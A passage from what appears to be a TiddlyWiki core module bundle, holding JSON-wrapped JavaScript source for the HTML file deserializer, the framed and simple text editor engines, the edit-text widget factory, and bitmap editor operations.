area\n\tvar storeAreaMarkerRegExp = /<div id=[\"']?storeArea['\"]?( style=[\"']?display:none;[\"']?)?>/gi,\n\t\tmatch = storeAreaMarkerRegExp.exec(text);\n\tif(match) {\n\t\t// If so, it's either a classic TiddlyWiki file or an unencrypted TW5 file\n\t\t// First read the normal tiddlers\n\t\tvar results = deserializeTiddlyWikiFile(text,storeAreaMarkerRegExp.lastIndex,!!match[1],fields);\n\t\t// Then any system tiddlers\n\t\tvar systemAreaMarkerRegExp = /<div id=[\"']?systemArea['\"]?( style=[\"']?display:none;[\"']?)?>/gi,\n\t\t\tsysMatch = systemAreaMarkerRegExp.exec(text);\n\t\tif(sysMatch) {\n\t\t\tresults.push.apply(results,deserializeTiddlyWikiFile(text,systemAreaMarkerRegExp.lastIndex,!!sysMatch[1],fields));\n\t\t}\n\t\treturn results;\n\t} else {\n\t\t// Check whether we've got an encrypted file\n\t\tvar encryptedStoreArea = $tw.utils.extractEncryptedStoreArea(text);\n\t\tif(encryptedStoreArea) {\n\t\t\t// If so, attempt to decrypt it using the current password\n\t\t\treturn $tw.utils.decryptStoreArea(encryptedStoreArea);\n\t\t} else {\n\t\t\t// It's not a TiddlyWiki so we'll return the entire HTML file as a tiddler\n\t\t\treturn deserializeHtmlFile(text,fields);\n\t\t}\n\t}\n};\n\nfunction deserializeHtmlFile(text,fields) {\n\tvar result = {};\n\t$tw.utils.each(fields,function(value,name) {\n\t\tresult[name] = value;\n\t});\n\tresult.text = text;\n\tresult.type = \"text/html\";\n\treturn [result];\n}\n\nfunction deserializeTiddlyWikiFile(text,storeAreaEnd,isTiddlyWiki5,fields) {\n\tvar results = [],\n\t\tendOfDivRegExp = /(<\\/div>\\s*)/gi,\n\t\tstartPos = storeAreaEnd,\n\t\tdefaultType = isTiddlyWiki5 ? undefined : \"text/x-tiddlywiki\";\n\tendOfDivRegExp.lastIndex = startPos;\n\tvar match = endOfDivRegExp.exec(text);\n\twhile(match) {\n\t\tvar endPos = endOfDivRegExp.lastIndex,\n\t\t\ttiddlerFields = parseTiddlerDiv(text.substring(startPos,endPos),fields,{type: defaultType});\n\t\tif(!tiddlerFields) {\n\t\t\tbreak;\n\t\t}\n\t\t$tw.utils.each(tiddlerFields,function(value,name) {\n\t\t\tif(typeof value === \"string\") {\n\t\t\t\ttiddlerFields[name] = $tw.utils.htmlDecode(value);\n\t\t\t}\n\t\t});\n\t\tif(tiddlerFields.text !== null) {\n\t\t\tresults.push(tiddlerFields);\n\t\t}\n\t\tstartPos = endPos;\n\t\tmatch = endOfDivRegExp.exec(text);\n\t}\n\treturn results;\n}\n\n})();\n",
"type": "application/javascript",
"module-type": "tiddlerdeserializer"
},
"$:/core/modules/editor/engines/framed.js": {
"title": "$:/core/modules/editor/engines/framed.js",
"text": "/*\\\ntitle: $:/core/modules/editor/engines/framed.js\ntype: application/javascript\nmodule-type: library\n\nText editor engine based on a simple input or textarea within an iframe. This is done so that the selection is preserved even when clicking away from the textarea\n\n\\*/\n(function(){\n\n/*jslint node: true,browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar HEIGHT_VALUE_TITLE = \"$:/config/TextEditor/EditorHeight/Height\";\n\nfunction FramedEngine(options) {\n\t// Save our options\n\toptions = options || {};\n\tthis.widget = options.widget;\n\tthis.value = options.value;\n\tthis.parentNode = options.parentNode;\n\tthis.nextSibling = options.nextSibling;\n\t// Create our hidden dummy text area for reading styles\n\tthis.dummyTextArea = this.widget.document.createElement(\"textarea\");\n\tif(this.widget.editClass) {\n\t\tthis.dummyTextArea.className = this.widget.editClass;\n\t}\n\tthis.dummyTextArea.setAttribute(\"hidden\",\"true\");\n\tthis.parentNode.insertBefore(this.dummyTextArea,this.nextSibling);\n\tthis.widget.domNodes.push(this.dummyTextArea);\n\t// Create the iframe\n\tthis.iframeNode = this.widget.document.createElement(\"iframe\");\n\tthis.parentNode.insertBefore(this.iframeNode,this.nextSibling);\n\tthis.iframeDoc = this.iframeNode.contentWindow.document;\n\t// (Firefox requires us to put some empty content in the iframe)\n\tthis.iframeDoc.open();\n\tthis.iframeDoc.write(\"\");\n\tthis.iframeDoc.close();\n\t// Style the iframe\n\tthis.iframeNode.className = this.dummyTextArea.className;\n\tthis.iframeNode.style.border = \"none\";\n\tthis.iframeNode.style.padding = \"0\";\n\tthis.iframeNode.style.resize = \"none\";\n\tthis.iframeNode.style[\"background-color\"] = this.widget.wiki.extractTiddlerDataItem(this.widget.wiki.getTiddlerText(\"$:/palette\"),\"tiddler-editor-background\");\n\tthis.iframeDoc.body.style.margin = \"0\";\n\tthis.iframeDoc.body.style.padding = \"0\";\n\tthis.widget.domNodes.push(this.iframeNode);\n\t// Construct the textarea or input node\n\tvar tag = this.widget.editTag;\n\tif($tw.config.htmlUnsafeElements.indexOf(tag) !== -1) {\n\t\ttag = \"input\";\n\t}\n\tthis.domNode = this.iframeDoc.createElement(tag);\n\t// Set the text\n\tif(this.widget.editTag === \"textarea\") {\n\t\tthis.domNode.appendChild(this.iframeDoc.createTextNode(this.value));\n\t} else {\n\t\tthis.domNode.value = this.value;\n\t}\n\t// Set the attributes\n\tif(this.widget.editType) {\n\t\tthis.domNode.setAttribute(\"type\",this.widget.editType);\n\t}\n\tif(this.widget.editPlaceholder) {\n\t\tthis.domNode.setAttribute(\"placeholder\",this.widget.editPlaceholder);\n\t}\n\tif(this.widget.editSize) {\n\t\tthis.domNode.setAttribute(\"size\",this.widget.editSize);\n\t}\n\tif(this.widget.editRows) {\n\t\tthis.domNode.setAttribute(\"rows\",this.widget.editRows);\n\t}\n\tif(this.widget.editTabIndex) {\n\t\tthis.iframeNode.setAttribute(\"tabindex\",this.widget.editTabIndex);\n\t}\n\t// Copy the styles from the dummy textarea\n\tthis.copyStyles();\n\t// Add event listeners\n\t$tw.utils.addEventListeners(this.domNode,[\n\t\t{name: \"click\",handlerObject: this,handlerMethod: \"handleClickEvent\"},\n\t\t{name: \"input\",handlerObject: this,handlerMethod: \"handleInputEvent\"},\n\t\t{name: \"keydown\",handlerObject: this.widget,handlerMethod: \"handleKeydownEvent\"}\n\t]);\n\t// Insert the element into the DOM\n\tthis.iframeDoc.body.appendChild(this.domNode);\n}\n\n/*\nCopy styles from the dummy text area to the textarea in the iframe\n*/\nFramedEngine.prototype.copyStyles = function() {\n\t// Copy all styles\n\t$tw.utils.copyStyles(this.dummyTextArea,this.domNode);\n\t// Override the ones that should not be set the same as the dummy textarea\n\tthis.domNode.style.display = \"block\";\n\tthis.domNode.style.width = \"100%\";\n\tthis.domNode.style.margin = \"0\";\n\tthis.domNode.style[\"background-color\"] = this.widget.wiki.extractTiddlerDataItem(this.widget.wiki.getTiddlerText(\"$:/palette\"),\"tiddler-editor-background\");\n\t// In Chrome setting -webkit-text-fill-color overrides the placeholder text colour\n\tthis.domNode.style[\"-webkit-text-fill-color\"] = \"currentcolor\";\n};\n\n/*\nSet the text of the engine if it doesn't currently have focus\n*/\nFramedEngine.prototype.setText = function(text,type) {\n\tif(!this.domNode.isTiddlyWikiFakeDom) {\n\t\tif(this.domNode.ownerDocument.activeElement !== this.domNode) {\n\t\t\tthis.domNode.value = text;\n\t\t}\n\t\t// Fix the height if needed\n\t\tthis.fixHeight();\n\t}\n};\n\n/*\nGet the text of the engine\n*/\nFramedEngine.prototype.getText = function() {\n\treturn this.domNode.value;\n};\n\n/*\nFix the height of textarea to fit content\n*/\nFramedEngine.prototype.fixHeight = function() {\n\t// Make sure styles are updated\n\tthis.copyStyles();\n\t// Adjust height\n\tif(this.widget.editTag === \"textarea\") {\n\t\tif(this.widget.editAutoHeight) {\n\t\t\tif(this.domNode && !this.domNode.isTiddlyWikiFakeDom) {\n\t\t\t\tvar newHeight = $tw.utils.resizeTextAreaToFit(this.domNode,this.widget.editMinHeight);\n\t\t\t\tthis.iframeNode.style.height = (newHeight + 14) + \"px\"; // +14 for the border on the textarea\n\t\t\t}\n\t\t} else {\n\t\t\tvar fixedHeight = parseInt(this.widget.wiki.getTiddlerText(HEIGHT_VALUE_TITLE,\"400px\"),10);\n\t\t\tfixedHeight = Math.max(fixedHeight,20);\n\t\t\tthis.domNode.style.height = fixedHeight + \"px\";\n\t\t\tthis.iframeNode.style.height = (fixedHeight + 14) + \"px\";\n\t\t}\n\t}\n};\n\n/*\nFocus the engine node\n*/\nFramedEngine.prototype.focus = function() {\n\tif(this.domNode.focus && this.domNode.select) {\n\t\tthis.domNode.focus();\n\t\tthis.domNode.select();\n\t}\n};\n\n/*\nHandle a click\n*/\nFramedEngine.prototype.handleClickEvent = function(event) {\n\tthis.fixHeight();\n\treturn true;\n};\n\n/*\nHandle a dom \"input\" event which occurs when the text has changed\n*/\nFramedEngine.prototype.handleInputEvent = function(event) {\n\tthis.widget.saveChanges(this.getText());\n\tthis.fixHeight();\n\treturn true;\n};\n\n/*\nCreate a blank structure representing a text operation\n*/\nFramedEngine.prototype.createTextOperation = function() {\n\tvar operation = {\n\t\ttext: this.domNode.value,\n\t\tselStart: this.domNode.selectionStart,\n\t\tselEnd: this.domNode.selectionEnd,\n\t\tcutStart: null,\n\t\tcutEnd: null,\n\t\treplacement: null,\n\t\tnewSelStart: null,\n\t\tnewSelEnd: null\n\t};\n\toperation.selection = operation.text.substring(operation.selStart,operation.selEnd);\n\treturn operation;\n};\n\n/*\nExecute a text operation\n*/\nFramedEngine.prototype.executeTextOperation = function(operation) {\n\t// Perform the required changes to the text area and the underlying tiddler\n\tvar newText = operation.text;\n\tif(operation.replacement !== null) {\n\t\tnewText = operation.text.substring(0,operation.cutStart) + operation.replacement + operation.text.substring(operation.cutEnd);\n\t\t// Attempt to use a execCommand to modify the value of the control\n\t\tif(this.iframeDoc.queryCommandSupported(\"insertText\") && this.iframeDoc.queryCommandSupported(\"delete\") && !$tw.browser.isFirefox) {\n\t\t\tthis.domNode.focus();\n\t\t\tthis.domNode.setSelectionRange(operation.cutStart,operation.cutEnd);\n\t\t\tif(operation.replacement === \"\") {\n\t\t\t\tthis.iframeDoc.execCommand(\"delete\",false,\"\");\n\t\t\t} else {\n\t\t\t\tthis.iframeDoc.execCommand(\"insertText\",false,operation.replacement);\n\t\t\t}\n\t\t} else {\n\t\t\tthis.domNode.value = newText;\n\t\t}\n\t\tthis.domNode.focus();\n\t\tthis.domNode.setSelectionRange(operation.newSelStart,operation.newSelEnd);\n\t}\n\tthis.domNode.focus();\n\treturn newText;\n};\n\nexports.FramedEngine = FramedEngine;\n\n})();\n",
"type": "application/javascript",
"module-type": "library"
},
"$:/core/modules/editor/engines/simple.js": {
"title": "$:/core/modules/editor/engines/simple.js",
"text": "/*\\\ntitle: $:/core/modules/editor/engines/simple.js\ntype: application/javascript\nmodule-type: library\n\nText editor engine based on a simple input or textarea tag\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar HEIGHT_VALUE_TITLE = \"$:/config/TextEditor/EditorHeight/Height\";\n\nfunction SimpleEngine(options) {\n\t// Save our options\n\toptions = options || {};\n\tthis.widget = options.widget;\n\tthis.value = options.value;\n\tthis.parentNode = options.parentNode;\n\tthis.nextSibling = options.nextSibling;\n\t// Construct the textarea or input node\n\tvar tag = this.widget.editTag;\n\tif($tw.config.htmlUnsafeElements.indexOf(tag) !== -1) {\n\t\ttag = \"input\";\n\t}\n\tthis.domNode = this.widget.document.createElement(tag);\n\t// Set the text\n\tif(this.widget.editTag === \"textarea\") {\n\t\tthis.domNode.appendChild(this.widget.document.createTextNode(this.value));\n\t} else {\n\t\tthis.domNode.value = this.value;\n\t}\n\t// Set the attributes\n\tif(this.widget.editType) {\n\t\tthis.domNode.setAttribute(\"type\",this.widget.editType);\n\t}\n\tif(this.widget.editPlaceholder) {\n\t\tthis.domNode.setAttribute(\"placeholder\",this.widget.editPlaceholder);\n\t}\n\tif(this.widget.editSize) {\n\t\tthis.domNode.setAttribute(\"size\",this.widget.editSize);\n\t}\n\tif(this.widget.editRows) {\n\t\tthis.domNode.setAttribute(\"rows\",this.widget.editRows);\n\t}\n\tif(this.widget.editClass) {\n\t\tthis.domNode.className = this.widget.editClass;\n\t}\n\tif(this.widget.editTabIndex) {\n\t\tthis.domNode.setAttribute(\"tabindex\",this.widget.editTabIndex);\n\t}\n\t// Add an input event handler\n\t$tw.utils.addEventListeners(this.domNode,[\n\t\t{name: \"focus\", handlerObject: this, handlerMethod: \"handleFocusEvent\"},\n\t\t{name: \"input\", handlerObject: this, handlerMethod: \"handleInputEvent\"}\n\t]);\n\t// Insert the element into the DOM\n\tthis.parentNode.insertBefore(this.domNode,this.nextSibling);\n\tthis.widget.domNodes.push(this.domNode);\n}\n\n/*\nSet the text of the engine if it doesn't currently have focus\n*/\nSimpleEngine.prototype.setText = function(text,type) {\n\tif(!this.domNode.isTiddlyWikiFakeDom) {\n\t\tif(this.domNode.ownerDocument.activeElement !== this.domNode || text === \"\") {\n\t\t\tthis.domNode.value = text;\n\t\t}\n\t\t// Fix the height if needed\n\t\tthis.fixHeight();\n\t}\n};\n\n/*\nGet the text of the engine\n*/\nSimpleEngine.prototype.getText = function() {\n\treturn this.domNode.value;\n};\n\n/*\nFix the height of textarea to fit content\n*/\nSimpleEngine.prototype.fixHeight = function() {\n\tif(this.widget.editTag === \"textarea\") {\n\t\tif(this.widget.editAutoHeight) {\n\t\t\tif(this.domNode && !this.domNode.isTiddlyWikiFakeDom) {\n\t\t\t\t$tw.utils.resizeTextAreaToFit(this.domNode,this.widget.editMinHeight);\n\t\t\t}\n\t\t} else {\n\t\t\tvar fixedHeight = parseInt(this.widget.wiki.getTiddlerText(HEIGHT_VALUE_TITLE,\"400px\"),10);\n\t\t\tfixedHeight = Math.max(fixedHeight,20);\n\t\t\tthis.domNode.style.height = fixedHeight + \"px\";\n\t\t}\n\t}\n};\n\n/*\nFocus the engine node\n*/\nSimpleEngine.prototype.focus = function() {\n\tif(this.domNode.focus && this.domNode.select) {\n\t\tthis.domNode.focus();\n\t\tthis.domNode.select();\n\t}\n};\n\n/*\nHandle a dom \"input\" event which occurs when the text has changed\n*/\nSimpleEngine.prototype.handleInputEvent = function(event) {\n\tthis.widget.saveChanges(this.getText());\n\tthis.fixHeight();\n\treturn true;\n};\n\n/*\nHandle a dom \"focus\" event\n*/\nSimpleEngine.prototype.handleFocusEvent = function(event) {\n\tif(this.widget.editFocusPopup) {\n\t\t$tw.popup.triggerPopup({\n\t\t\tdomNode: this.domNode,\n\t\t\ttitle: this.widget.editFocusPopup,\n\t\t\twiki: this.widget.wiki,\n\t\t\tforce: true\n\t\t});\n\t}\n\treturn true;\n};\n\n/*\nCreate a blank structure representing a text operation\n*/\nSimpleEngine.prototype.createTextOperation = function() {\n\treturn null;\n};\n\n/*\nExecute a text operation\n*/\nSimpleEngine.prototype.executeTextOperation = function(operation) {\n};\n\nexports.SimpleEngine = SimpleEngine;\n\n})();\n",
"type": "application/javascript",
"module-type": "library"
},
"$:/core/modules/editor/factory.js": {
"title": "$:/core/modules/editor/factory.js",
"text": "/*\\\ntitle: $:/core/modules/editor/factory.js\ntype: application/javascript\nmodule-type: library\n\nFactory for constructing text editor widgets with specified engines for the toolbar and non-toolbar cases\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nvar DEFAULT_MIN_TEXT_AREA_HEIGHT = \"100px\"; // Minimum height of textareas in pixels\n\n// Configuration tiddlers\nvar HEIGHT_MODE_TITLE = \"$:/config/TextEditor/EditorHeight/Mode\";\nvar ENABLE_TOOLBAR_TITLE = \"$:/config/TextEditor/EnableToolbar\";\n\nvar Widget = require(\"$:/core/modules/widgets/widget.js\").widget;\n\nfunction editTextWidgetFactory(toolbarEngine,nonToolbarEngine) {\n\n\tvar EditTextWidget = function(parseTreeNode,options) {\n\t\t// Initialise the editor operations if they've not been done already\n\t\tif(!this.editorOperations) {\n\t\t\tEditTextWidget.prototype.editorOperations = {};\n\t\t\t$tw.modules.applyMethods(\"texteditoroperation\",this.editorOperations);\n\t\t}\n\t\tthis.initialise(parseTreeNode,options);\n\t};\n\n\t/*\n\tInherit from the base widget class\n\t*/\n\tEditTextWidget.prototype = new Widget();\n\n\t/*\n\tRender this widget into the DOM\n\t*/\n\tEditTextWidget.prototype.render = function(parent,nextSibling) {\n\t\t// Save the parent dom node\n\t\tthis.parentDomNode = parent;\n\t\t// Compute our attributes\n\t\tthis.computeAttributes();\n\t\t// Execute our logic\n\t\tthis.execute();\n\t\t// Create the wrapper for the toolbar and render its content\n\t\tif(this.editShowToolbar) {\n\t\t\tthis.toolbarNode = this.document.createElement(\"div\");\n\t\t\tthis.toolbarNode.className = \"tc-editor-toolbar\";\n\t\t\tparent.insertBefore(this.toolbarNode,nextSibling);\n\t\t\tthis.renderChildren(this.toolbarNode,null);\n\t\t\tthis.domNodes.push(this.toolbarNode);\n\t\t}\n\t\t// Create our element\n\t\tvar editInfo = this.getEditInfo(),\n\t\t\tEngine = this.editShowToolbar ? toolbarEngine : nonToolbarEngine;\n\t\tthis.engine = new Engine({\n\t\t\t\twidget: this,\n\t\t\t\tvalue: editInfo.value,\n\t\t\t\ttype: editInfo.type,\n\t\t\t\tparentNode: parent,\n\t\t\t\tnextSibling: nextSibling\n\t\t\t});\n\t\t// Call the postRender hook\n\t\tif(this.postRender) {\n\t\t\tthis.postRender();\n\t\t}\n\t\t// Fix height\n\t\tthis.engine.fixHeight();\n\t\t// Focus if required\n\t\tif(this.editFocus === \"true\" || this.editFocus === \"yes\") {\n\t\t\tthis.engine.focus();\n\t\t}\n\t\t// Add widget message listeners\n\t\tthis.addEventListeners([\n\t\t\t{type: \"tm-edit-text-operation\", handler: \"handleEditTextOperationMessage\"}\n\t\t]);\n\t};\n\n\t/*\n\tGet the tiddler being edited and current value\n\t*/\n\tEditTextWidget.prototype.getEditInfo = function() {\n\t\t// Get the edit value\n\t\tvar self = this,\n\t\t\tvalue,\n\t\t\ttype = \"text/plain\",\n\t\t\tupdate;\n\t\tif(this.editIndex) {\n\t\t\tvalue = this.wiki.extractTiddlerDataItem(this.editTitle,this.editIndex,this.editDefault);\n\t\t\tupdate = function(value) {\n\t\t\t\tvar data = self.wiki.getTiddlerData(self.editTitle,{});\n\t\t\t\tif(data[self.editIndex] !== value) {\n\t\t\t\t\tdata[self.editIndex] = value;\n\t\t\t\t\tself.wiki.setTiddlerData(self.editTitle,data);\n\t\t\t\t}\n\t\t\t};\n\t\t} else {\n\t\t\t// Get the current tiddler and the field name\n\t\t\tvar tiddler = this.wiki.getTiddler(this.editTitle);\n\t\t\tif(tiddler) {\n\t\t\t\t// If we've got a tiddler, the value to display is the field string value\n\t\t\t\tvalue = tiddler.getFieldString(this.editField);\n\t\t\t\tif(this.editField === \"text\") {\n\t\t\t\t\ttype = tiddler.fields.type || \"text/vnd.tiddlywiki\";\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\t// Otherwise, we need to construct a default value for the editor\n\t\t\t\tswitch(this.editField) {\n\t\t\t\t\tcase \"text\":\n\t\t\t\t\t\tvalue = \"Type the text for the tiddler '\" + this.editTitle + \"'\";\n\t\t\t\t\t\ttype = \"text/vnd.tiddlywiki\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tcase \"title\":\n\t\t\t\t\t\tvalue = this.editTitle;\n\t\t\t\t\t\tbreak;\n\t\t\t\t\tdefault:\n\t\t\t\t\t\tvalue = \"\";\n\t\t\t\t\t\tbreak;\n\t\t\t\t}\n\t\t\t\tif(this.editDefault !== undefined) {\n\t\t\t\t\tvalue = this.editDefault;\n\t\t\t\t}\n\t\t\t}\n\t\t\tupdate = function(value) {\n\t\t\t\tvar tiddler = self.wiki.getTiddler(self.editTitle),\n\t\t\t\t\tupdateFields = {\n\t\t\t\t\t\ttitle: self.editTitle\n\t\t\t\t\t};\n\t\t\t\tupdateFields[self.editField] = value;\n\t\t\t\tself.wiki.addTiddler(new $tw.Tiddler(self.wiki.getCreationFields(),tiddler,updateFields,self.wiki.getModificationFields()));\n\t\t\t};\n\t\t}\n\t\tif(this.editType) {\n\t\t\ttype = this.editType;\n\t\t}\n\t\treturn {value: value || \"\", type: type, update: update};\n\t};\n\n\t/*\n\tHandle an edit text operation message from the toolbar\n\t*/\n\tEditTextWidget.prototype.handleEditTextOperationMessage = function(event) {\n\t\t// Prepare information about the operation\n\t\tvar operation = this.engine.createTextOperation();\n\t\t// Invoke the handler for the selected operation\n\t\tvar handler = this.editorOperations[event.param];\n\t\tif(handler) {\n\t\t\thandler.call(this,event,operation);\n\t\t}\n\t\t// Execute the operation via the engine\n\t\tvar newText = this.engine.executeTextOperation(operation);\n\t\t// Fix the tiddler height and save changes\n\t\tthis.engine.fixHeight();\n\t\tthis.saveChanges(newText);\n\t};\n\n\t/*\n\tCompute the internal state of the widget\n\t*/\n\tEditTextWidget.prototype.execute = function() {\n\t\t// Get our parameters\n\t\tthis.editTitle = this.getAttribute(\"tiddler\",this.getVariable(\"currentTiddler\"));\n\t\tthis.editField = this.getAttribute(\"field\",\"text\");\n\t\tthis.editIndex = this.getAttribute(\"index\");\n\t\tthis.editDefault = this.getAttribute(\"default\");\n\t\tthis.editClass = this.getAttribute(\"class\");\n\t\tthis.editPlaceholder = this.getAttribute(\"placeholder\");\n\t\tthis.editSize = this.getAttribute(\"size\");\n\t\tthis.editRows = this.getAttribute(\"rows\");\n\t\tthis.editAutoHeight = this.wiki.getTiddlerText(HEIGHT_MODE_TITLE,\"auto\");\n\t\tthis.editAutoHeight = this.getAttribute(\"autoHeight\",this.editAutoHeight === \"auto\" ? \"yes\" : \"no\") === \"yes\";\n\t\tthis.editMinHeight = this.getAttribute(\"minHeight\",DEFAULT_MIN_TEXT_AREA_HEIGHT);\n\t\tthis.editFocusPopup = this.getAttribute(\"focusPopup\");\n\t\tthis.editFocus = this.getAttribute(\"focus\");\n\t\tthis.editTabIndex = this.getAttribute(\"tabindex\");\n\t\t// Get the default editor element tag and type\n\t\tvar tag,type;\n\t\tif(this.editField === \"text\") {\n\t\t\ttag = \"textarea\";\n\t\t} else {\n\t\t\ttag = \"input\";\n\t\t\tvar fieldModule = $tw.Tiddler.fieldModules[this.editField];\n\t\t\tif(fieldModule && fieldModule.editTag) {\n\t\t\t\ttag = fieldModule.editTag;\n\t\t\t}\n\t\t\tif(fieldModule && fieldModule.editType) {\n\t\t\t\ttype = fieldModule.editType;\n\t\t\t}\n\t\t\ttype = type || \"text\";\n\t\t}\n\t\t// Get the rest of our parameters\n\t\tthis.editTag = this.getAttribute(\"tag\",tag) || \"input\";\n\t\tthis.editType = this.getAttribute(\"type\",type);\n\t\t// Make the child widgets\n\t\tthis.makeChildWidgets();\n\t\t// Determine whether to show the toolbar\n\t\tthis.editShowToolbar = this.wiki.getTiddlerText(ENABLE_TOOLBAR_TITLE,\"yes\");\n\t\tthis.editShowToolbar = (this.editShowToolbar === \"yes\") && !!(this.children && this.children.length > 0) && (!this.document.isTiddlyWikiFakeDom);\n\t};\n\n\t/*\n\tSelectively refreshes the widget if needed. Returns true if the widget or any of its children needed re-rendering\n\t*/\n\tEditTextWidget.prototype.refresh = function(changedTiddlers) {\n\t\tvar changedAttributes = this.computeAttributes();\n\t\t// Completely rerender if any of our attributes have changed\n\t\tif(changedAttributes.tiddler || changedAttributes.field || changedAttributes.index || changedAttributes[\"default\"] || changedAttributes[\"class\"] || changedAttributes.placeholder || changedAttributes.size || changedAttributes.autoHeight || changedAttributes.minHeight || changedAttributes.focusPopup || changedAttributes.rows || changedAttributes.tabindex || changedTiddlers[HEIGHT_MODE_TITLE] || changedTiddlers[ENABLE_TOOLBAR_TITLE]) {\n\t\t\tthis.refreshSelf();\n\t\t\treturn true;\n\t\t} else if(changedTiddlers[this.editTitle]) {\n\t\t\tvar editInfo = this.getEditInfo();\n\t\t\tthis.updateEditor(editInfo.value,editInfo.type);\n\t\t}\n\t\tthis.engine.fixHeight();\n\t\tif(this.editShowToolbar) {\n\t\t\treturn this.refreshChildren(changedTiddlers);\n\t\t} else {\n\t\t\treturn false;\n\t\t}\n\t};\n\n\t/*\n\tUpdate the editor with new text. This method is separate from updateEditorDomNode()\n\tso that subclasses can override updateEditor() and still use updateEditorDomNode()\n\t*/\n\tEditTextWidget.prototype.updateEditor = function(text,type) {\n\t\tthis.updateEditorDomNode(text,type);\n\t};\n\n\t/*\n\tUpdate the editor dom node with new text\n\t*/\n\tEditTextWidget.prototype.updateEditorDomNode = function(text,type) {\n\t\tthis.engine.setText(text,type);\n\t};\n\n\t/*\n\tSave changes back to the tiddler store\n\t*/\n\tEditTextWidget.prototype.saveChanges = function(text) {\n\t\tvar editInfo = this.getEditInfo();\n\t\tif(text !== editInfo.value) {\n\t\t\teditInfo.update(text);\n\t\t}\n\t};\n\n\t/*\n\tHandle a dom \"keydown\" event, which we'll bubble up to our container for the keyboard widgets benefit\n\t*/\n\tEditTextWidget.prototype.handleKeydownEvent = function(event) {\n\t\t// Check for a keyboard shortcut\n\t\tif(this.toolbarNode) {\n\t\t\tvar shortcutElements = this.toolbarNode.querySelectorAll(\"[data-tw-keyboard-shortcut]\");\n\t\t\tfor(var index=0; index<shortcutElements.length; index++) {\n\t\t\t\tvar el = shortcutElements[index],\n\t\t\t\t\tshortcutData = el.getAttribute(\"data-tw-keyboard-shortcut\"),\n\t\t\t\t\tkeyInfoArray = $tw.keyboardManager.parseKeyDescriptors(shortcutData,{\n\t\t\t\t\t\twiki: this.wiki\n\t\t\t\t\t});\n\t\t\t\tif($tw.keyboardManager.checkKeyDescriptors(event,keyInfoArray)) {\n\t\t\t\t\tvar clickEvent = this.document.createEvent(\"Events\");\n\t\t\t\t clickEvent.initEvent(\"click\",true,false);\n\t\t\t\t el.dispatchEvent(clickEvent);\n\t\t\t\t\tevent.preventDefault();\n\t\t\t\t\tevent.stopPropagation();\n\t\t\t\t\treturn true;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\t// Propogate the event to the container\n\t\tif(this.propogateKeydownEvent(event)) {\n\t\t\t// Ignore the keydown if it was already handled\n\t\t\tevent.preventDefault();\n\t\t\tevent.stopPropagation();\n\t\t\treturn true;\n\t\t}\n\t\t// Otherwise, process the keydown normally\n\t\treturn false;\n\t};\n\n\t/*\n\tPropogate keydown events to our container for the keyboard widgets benefit\n\t*/\n\tEditTextWidget.prototype.propogateKeydownEvent = function(event) {\n\t\tvar newEvent = this.document.createEventObject ? this.document.createEventObject() : this.document.createEvent(\"Events\");\n\t\tif(newEvent.initEvent) {\n\t\t\tnewEvent.initEvent(\"keydown\", true, true);\n\t\t}\n\t\tnewEvent.keyCode = event.keyCode;\n\t\tnewEvent.which = event.which;\n\t\tnewEvent.metaKey = event.metaKey;\n\t\tnewEvent.ctrlKey = event.ctrlKey;\n\t\tnewEvent.altKey = event.altKey;\n\t\tnewEvent.shiftKey = event.shiftKey;\n\t\treturn !this.parentDomNode.dispatchEvent(newEvent);\n\t};\n\n\treturn EditTextWidget;\n\n}\n\nexports.editTextWidgetFactory = editTextWidgetFactory;\n\n})();\n",
"type": "application/javascript",
"module-type": "library"
},
"$:/core/modules/editor/operations/bitmap/clear.js": {
"title": "$:/core/modules/editor/operations/bitmap/clear.js",
"text": "/*\\\ntitle: $:/core/modules/editor/operations/bitmap/clear.js\ntype: application/javascript\nmodule-type: bitmapeditoroperation\n\nBitmap editor operation to clear the image\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"clear\"] = function(event) {\n\tvar ctx = this.canvasDomNode.getContext(\"2d\");\n\tctx.globalAlpha = 1;\n\tctx.fillStyle = event.paramObject.colour || \"white\";\n\tctx.fillRect(0,0,this.canvasDomNode.width,this.canvasDomNode.height);\n\t// Save changes\n\tthis.strokeEnd();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "bitmapeditoroperation"
},
"$:/core/modules/editor/operations/bitmap/resize.js": {
"title": "$:/core/modules/editor/operations/bitmap/resize.js",
"text": "/*\\\ntitle: $:/core/modules/editor/operations/bitmap/resize.js\ntype: application/javascript\nmodule-type: bitmapeditoroperation\n\nBitmap editor operation to resize the image\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"resize\"] = function(event) {\n\t// Get the new width\n\tvar newWidth = parseInt(event.paramObject.width || this.canvasDomNode.width,10),\n\t\tnewHeight = parseInt(event.paramObject.height || this.canvasDomNode.height,10);\n\t// Update if necessary\n\tif(newWidth > 0 && newHeight > 0 && !(newWidth === this.currCanvas.width && newHeight === this.currCanvas.height)) {\n\t\tthis.changeCanvasSize(newWidth,newHeight);\n\t}\n\t// Update the input controls\n\tthis.refreshToolbar();\n\t// Save the image into the tiddler\n\tthis.saveChanges();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "bitmapeditoroperation"
},
"$:/core/modules/editor/operations/bitmap/rotate-left.js": {
"title": "$:/core/modules/editor/operations/bitmap/rotate-left.js",
"text": "/*\\\ntitle: $:/core/modules/editor/operations/bitmap/rotate-left.js\ntype: application/javascript\nmodule-type: bitmapeditoroperation\n\nBitmap editor operation to rotate the image left by 90 degrees\n\n\\*/\n(function(){\n\n/*jslint node: true, browser: true */\n/*global $tw: false */\n\"use strict\";\n\nexports[\"rotate-left\"] = function(event) {\n\t// Rotate the canvas left by 90 degrees\n\tthis.rotateCanvasLeft();\n\t// Update the input controls\n\tthis.refreshToolbar();\n\t// Save the image into the tiddler\n\tthis.saveChanges();\n};\n\n})();\n",
"type": "application/javascript",
"module-type": "bitmapeditoroperation"
},
"$:/core/modules/editor/operations/text/excise.js": {
"title": "$:/core/modules/editor/operations/text/excise.js",
